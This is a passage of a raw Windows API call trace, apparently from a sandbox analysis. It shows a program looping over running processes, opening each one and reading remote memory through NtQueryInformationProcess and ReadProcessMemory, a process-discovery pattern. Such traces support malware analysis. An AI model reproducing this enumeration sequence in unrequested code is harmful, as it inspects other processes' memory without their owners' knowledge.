ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403928, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.524] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.525] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.525] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x306020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.525] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4032e0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.525] malloc (_Size=0x60) returned 0xeb6380 [0192.525] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403968, lpBuffer=0xeb6380, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0192.525] free (_Block=0xeb6380) [0192.525] CloseHandle (hObject=0x414) returned 1 [0192.526] _ui64tow_s (in: _Value=0x6fc, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1788") returned 0x0 [0192.526] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1788") returned 4 [0192.526] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.526] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.527] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6fc) returned 0x414 [0192.527] GetLastError () returned 0x0 [0192.527] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.527] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x37e018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.527] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.528] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2480, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.528] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2118, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.528] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.528] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.528] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x37e020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.528] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c1ad0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.528] malloc (_Size=0x42) returned 0xea8060 [0192.529] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2158, lpBuffer=0xea8060, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8060*, lpNumberOfBytesRead=0x0) returned 1 [0192.529] free (_Block=0xea8060) [0192.529] CloseHandle (hObject=0x414) returned 1 [0192.530] _ui64tow_s (in: _Value=0x734, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1844") returned 0x0 [0192.530] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1844") returned 4 [0192.530] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.530] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.531] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0x414 [0192.531] GetLastError () returned 0x0 [0192.531] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.531] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x215018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.531] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.531] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d70, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.531] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.532] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.532] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.532] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x215020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.532] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.532] malloc (_Size=0x8a) returned 0xec7e80 [0192.532] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xec7e80, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7e80*, lpNumberOfBytesRead=0x0) returned 1 [0192.533] free (_Block=0xec7e80) [0192.533] CloseHandle (hObject=0x414) returned 1 [0192.533] _ui64tow_s (in: _Value=0x820, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2080") returned 0x0 [0192.533] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2080") returned 4 [0192.533] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.533] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.534] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x414 [0192.534] GetLastError () returned 0x0 [0192.534] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.534] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x249018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.535] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.535] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d60, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.535] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.535] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.535] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.535] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x249020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.536] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.536] malloc (_Size=0x84) returned 0xe87f70 [0192.536] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xe87f70, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87f70*, lpNumberOfBytesRead=0x0) returned 1 [0192.536] free (_Block=0xe87f70) [0192.536] CloseHandle (hObject=0x414) returned 1 [0192.537] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0192.537] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2272") returned 4 [0192.537] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.537] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0x414 [0192.538] GetLastError () returned 0x0 [0192.538] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.538] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3b1018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.538] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.538] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x422560, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.538] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x422228, lpBuffer=0x104c5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.539] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.539] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.539] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3b1020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.539] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x421be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.539] malloc (_Size=0x18) returned 0xec9ca0 [0192.539] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x422266, lpBuffer=0xec9ca0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9ca0*, lpNumberOfBytesRead=0x0) returned 1 [0192.539] free (_Block=0xec9ca0) [0192.540] CloseHandle (hObject=0x414) returned 1 [0192.586] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0192.586] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2288") returned 4 [0192.587] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.587] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.588] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0x414 [0192.588] GetLastError () returned 0x0 [0192.588] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.588] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c8018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.588] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.588] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403de0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.588] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a38, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.589] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.589] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.589] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c8020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.589] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4033f0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.589] malloc (_Size=0x6a) returned 0xea9020 [0192.589] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a78, lpBuffer=0xea9020, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0192.590] free (_Block=0xea9020) [0192.590] CloseHandle (hObject=0x414) returned 1 [0192.590] _ui64tow_s (in: _Value=0x944, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0192.590] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2372") returned 4 [0192.590] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.590] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.591] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0x414 [0192.592] GetLastError () returned 0x0 [0192.592] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.592] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x228018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.592] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.592] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5225e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.592] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x522228, lpBuffer=0x104c5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.592] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.592] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.593] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x228020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.593] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x521be0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.593] malloc (_Size=0x6c) returned 0xea95a0 [0192.593] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x52226c, lpBuffer=0xea95a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea95a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.593] free (_Block=0xea95a0) [0192.593] CloseHandle (hObject=0x414) returned 1 [0192.594] _ui64tow_s (in: _Value=0xa64, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0192.594] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2660") returned 4 [0192.594] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.594] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.595] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0x414 [0192.595] GetLastError () returned 0x0 [0192.595] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.595] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c3018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.596] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.596] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5525c0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.596] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x552248, lpBuffer=0x104c5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.596] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.596] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.596] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c3020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.597] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x551c00, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.597] malloc (_Size=0x32) returned 0xe71ff0 [0192.597] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x552278, lpBuffer=0xe71ff0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe71ff0*, lpNumberOfBytesRead=0x0) returned 1 [0192.597] free (_Block=0xe71ff0) [0192.597] CloseHandle (hObject=0x414) returned 1 [0192.597] _ui64tow_s (in: _Value=0xad8, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0192.598] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="2776") returned 4 [0192.598] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.598] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.599] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0x414 [0192.599] GetLastError () returned 0x0 [0192.599] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.599] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x341018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.599] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.599] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403de0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.599] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403a38, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.600] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.600] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.600] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x341020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 